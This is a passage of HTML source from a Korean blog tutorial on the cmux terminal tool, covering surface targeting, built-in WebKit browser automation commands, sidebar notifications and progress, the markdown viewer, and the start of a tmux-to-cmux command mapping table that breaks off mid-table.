&lt;pre class=&quot;autoit&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux find-window --content &quot;error&quot; --select    # &quot;error&quot;가 포함된 서피스로 이동
cmux find-window &quot;npm&quot;                         # &quot;npm&quot; 관련 서피스 검색&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;안정적인 서피스 타깃팅 패턴 (운영 권장)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트가 하드코딩된 &lt;code&gt;surface:2&lt;/code&gt; 같은 번호 대신 &lt;code&gt;identify&lt;/code&gt; + &lt;code&gt;list-pane-surfaces&lt;/code&gt;로 동적으로 타깃을 찾는 패턴이 운영 환경에서 더 안정적이다. 워크스페이스 구조가 달라져도 깨지지 않는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Step 1: 현재 컨텍스트 파악&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux identify          # 현재 workspace/pane/surface 확인 (JSON)
cmux tree --all        # 전체 계층 구조 한눈에 확인&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Step 2: 대상 패인의 서피스 목록 확인&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux list-pane-surfaces --pane pane:2    # pane:2의 탭 목록
# &amp;rarr; surface:3 [terminal], surface:4 [browser] 형태로 반환&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Step 3: 확인된 ref로 정확히 타깃&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux read-screen --surface surface:3 --lines 30
cmux send --surface surface:3 &quot;npm test\n&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 6: 내장 브라우저 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 내장 브라우저 자동화&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux의 주요 기능 중 하나는 &lt;b&gt;WebKit 기반 내장 브라우저&lt;/b&gt;다. 별도의 Playwright나 Selenium 없이도 터미널에서 바로 웹 페이지를 조작할 수 있다. WebKit을 사용하므로 Safari 유저에이전트로 동작하며, 이는 Chromium 기반 도구가 흔히 맞닥뜨리는 봇 감지를 우회하는 데도 유리하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/manaflow-ai/cmux/blob/main/PROJECTS.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux PROJECTS.md&lt;/a&gt; | 브라우저 API 원작: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/vercel-labs/agent-browser&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;vercel-labs/agent-browser&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;브라우저 명령어 구조&lt;/b&gt;&lt;br /&gt;&lt;code&gt;cmux browser [--surface &amp;lt;ref&amp;gt;] &amp;lt;subcommand&amp;gt; [args]&lt;/code&gt;&lt;br /&gt;대부분의 조작 명령에 &lt;code&gt;--snapshot-after&lt;/code&gt; 플래그를 붙이면 조작 후 DOM 스냅샷을 자동 반환한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;네비게이션&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser open http://localhost:3000         # 브라우저 패인 생성 + URL 열기 (현재 패인에 탭 추가)
cmux browser open-split http://localhost:3000   # 화면을 가로로 분할하여 브라우저 패인 생성
cmux browser goto http://localhost:3000/login   # 현재 브라우저에서 이동
cmux browser back                               # 뒤로
cmux browser forward                            # 앞으로
cmux browser reload                             # 새로고침
cmux browser url                                # 현재 URL 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: 터미널 + 내장 브라우저 --&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2396&quot; data-origin-height=&quot;1308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l46fq/dJMcadg3YFm/zK69ddlFKXCYp86S64rI61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l46fq/dJMcadg3YFm/zK69ddlFKXCYp86S64rI61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l46fq/dJMcadg3YFm/zK69ddlFKXCYp86S64rI61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl46fq%2FdJMcadg3YFm%2FzK69ddlFKXCYp86S64rI61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2396&quot; height=&quot;1308&quot; data-origin-width=&quot;2396&quot; data-origin-height=&quot;1308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;DOM 조작&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# DOM 스냅샷 (접근성 트리 기반, AI 에이전트에 최적)&lt;/div&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser snapshot -i                       # --interactive: 안정적 요소 참조 반환&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 클릭, 입력, 체크&lt;/div&gt;
&lt;pre class=&quot;smali&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser click &quot;button#submit&quot; --snapshot-after
cmux browser fill &quot;input[name='email']&quot; &quot;user@example.com&quot; --snapshot-after
cmux browser type &quot;#search&quot; &quot;검색어&quot;
cmux browser check &quot;input[type='checkbox']&quot;
cmux browser select &quot;#country&quot; &quot;KR&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 값 추출&lt;/div&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser get text &quot;h1&quot;                     # 텍스트 추출
cmux browser get html &quot;.content&quot;               # HTML 추출
cmux browser get value &quot;input#name&quot;            # input 값
cmux browser get title                         # 페이지 제목
cmux browser is visible &quot;.modal&quot;               # 요소 가시성 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: 스크린샷, snapshot, eval 결과 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux browser screenshot --out ~/Desktop/cmux-browser-test.png&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boE4bl/dJMb996N5ld/u1NAOdPpQbmv9YrHwQBTg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boE4bl/dJMb996N5ld/u1NAOdPpQbmv9YrHwQBTg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boE4bl/dJMb996N5ld/u1NAOdPpQbmv9YrHwQBTg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboE4bl%2FdJMb996N5ld%2Fu1NAOdPpQbmv9YrHwQBTg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1430&quot; height=&quot;1118&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux browser snapshot -i&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;904&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P1Eut/dJMcacbn33t/ISpkUqLLUQ4BJ0MSnWPokK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P1Eut/dJMcacbn33t/ISpkUqLLUQ4BJ0MSnWPokK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P1Eut/dJMcacbn33t/ISpkUqLLUQ4BJ0MSnWPokK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP1Eut%2FdJMcacbn33t%2FISpkUqLLUQ4BJ0MSnWPokK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;457&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;904&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux browser eval &quot;document.title&quot;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnR6O2/dJMcagSo2iU/TXCkcney4y2MNH29LevUI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnR6O2/dJMcagSo2iU/TXCkcney4y2MNH29LevUI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnR6O2/dJMcagSo2iU/TXCkcney4y2MNH29LevUI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnR6O2%2FdJMcagSo2iU%2FTXCkcney4y2MNH29LevUI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2036&quot; height=&quot;304&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;대기와 JavaScript&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 요소/텍스트/URL 대기&lt;/div&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser wait --selector &quot;.loaded&quot;              # CSS 셀렉터 대기
cmux browser wait --text &quot;Welcome&quot;                  # 텍스트 출현 대기
cmux browser wait --url-contains &quot;/dashboard&quot;       # URL 변경 대기
cmux browser wait --load-state complete             # 페이지 로드 대기
cmux browser wait --timeout-ms 5000                 # 타임아웃 지정&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# JavaScript 실행&lt;/div&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser eval &quot;document.title&quot;
cmux browser eval &quot;document.querySelectorAll('li').length&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 스크린샷&lt;/div&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser screenshot --out ./capture.png&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 7: 사이드바 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 사이드바: 알림, 진행률, 상태 표시&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux의 사이드바는 각 워크스페이스의 상태를 실시간으로 보여준다. AI 에이전트가 진행 상황을 시각적으로 리포트하는 데 활용할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 데스크톱 알림&lt;/div&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux notify --title &quot;빌드 완료&quot; --body &quot;3분 소요&quot; --subtitle &quot;frontend&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 사이드바 로그 (level: info, progress, success, warning, error)&lt;/div&gt;
&lt;pre class=&quot;mel&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux log --level success --source &quot;test&quot; &quot;42/42 테스트 통과&quot;
cmux log --level error --source &quot;build&quot; &quot;TypeScript 컴파일 실패&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 진행률 바&lt;/div&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux set-progress 0.75 --label &quot;빌드 진행 중...&quot;
cmux clear-progress&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 상태 표시 (사이드바 배지)&lt;/div&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux set-status &quot;phase&quot; &quot;testing&quot; --icon &quot;sparkle&quot; --color &quot;#28a745&quot;
cmux clear-status &quot;phase&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: 알림 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 알림 및 상태 표시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1472&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3BmQo/dJMcaaLpCLd/GlDok1fLAJgMgKpknoEnp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3BmQo/dJMcaaLpCLd/GlDok1fLAJgMgKpknoEnp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3BmQo/dJMcaaLpCLd/GlDok1fLAJgMgKpknoEnp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3BmQo%2FdJMcaaLpCLd%2FGlDok1fLAJgMgKpknoEnp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1472&quot; height=&quot;158&quot; data-origin-width=&quot;1472&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1564&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVsOG9/dJMcaa5IszH/l8Gza5SCHbFCWMfo7H8MJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVsOG9/dJMcaa5IszH/l8Gza5SCHbFCWMfo7H8MJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVsOG9/dJMcaa5IszH/l8Gza5SCHbFCWMfo7H8MJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVsOG9%2FdJMcaa5IszH%2Fl8Gza5SCHbFCWMfo7H8MJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1564&quot; height=&quot;192&quot; data-origin-width=&quot;1564&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eedwtp/dJMcabjg1eF/xX1cENHtk0gCKLmIDrW4V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eedwtp/dJMcabjg1eF/xX1cENHtk0gCKLmIDrW4V1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eedwtp/dJMcabjg1eF/xX1cENHtk0gCKLmIDrW4V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feedwtp%2FdJMcabjg1eF%2FxX1cENHtk0gCKLmIDrW4V1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1574&quot; height=&quot;238&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;마크다운 뷰어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이드바 영역과 함께 유용한 유틸리티 명령으로 &lt;code&gt;cmux markdown&lt;/code&gt;이 있다. 터미널 내에서 마크다운 파일을 렌더링하여 볼 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 마크다운 파일 렌더링 (cmux 서피스 내 뷰어로 표시)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cmux markdown ./README.md
cmux markdown open ./docs/guide.md    # 새 서피스에서 열기&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 에이전트가 문서를 생성한 뒤 즉시 렌더링 결과를 확인하거나, CLAUDE.md 같은 설정 파일을 사람이 읽기 좋게 표시할 때 활용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux&amp;nbsp;markdown&amp;nbsp;./README.md&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2276&quot; data-origin-height=&quot;990&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2mbyb/dJMcacoXgRt/9HKTvYPxmkgsCZ25LBqE8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2mbyb/dJMcacoXgRt/9HKTvYPxmkgsCZ25LBqE8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2mbyb/dJMcacoXgRt/9HKTvYPxmkgsCZ25LBqE8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2mbyb%2FdJMcacoXgRt%2F9HKTvYPxmkgsCZ25LBqE8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2276&quot; height=&quot;990&quot; data-origin-width=&quot;2276&quot; data-origin-height=&quot;990&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux markdown open ./README.md&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2336&quot; data-origin-height=&quot;1306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9vCG4/dJMcadagu9A/5EGfEstXWVgjCnL0z0ukNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9vCG4/dJMcadagu9A/5EGfEstXWVgjCnL0z0ukNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9vCG4/dJMcadagu9A/5EGfEstXWVgjCnL0z0ukNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9vCG4%2FdJMcadagu9A%2F5EGfEstXWVgjCnL0z0ukNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2336&quot; height=&quot;1306&quot; data-origin-width=&quot;2336&quot; data-origin-height=&quot;1306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 8: tmux 마이그레이션 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. tmux에서 cmux로 마이그레이션&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 tmux 스크립트나 워크플로우를 cmux로 변환할 때 참고하는 매핑 테이블이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;모든 cmux 명령은 &lt;code&gt;cmux --help&lt;/code&gt; 및 &lt;code&gt;cmux browser --help&lt;/code&gt; (v0.62.2) 출력에서 검증했다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;tmux 명령&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;cmux 명령&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux new-session -d -s name&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux new-workspace&lt;/code&gt; + &lt;code&gt;cmux rename-workspace name&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux split-window -v / -h&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux new-split down / right&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux send-keys -t %1 &quot;cmd&quot; C-m&lt;/code&gt;&lt;/td&gt;
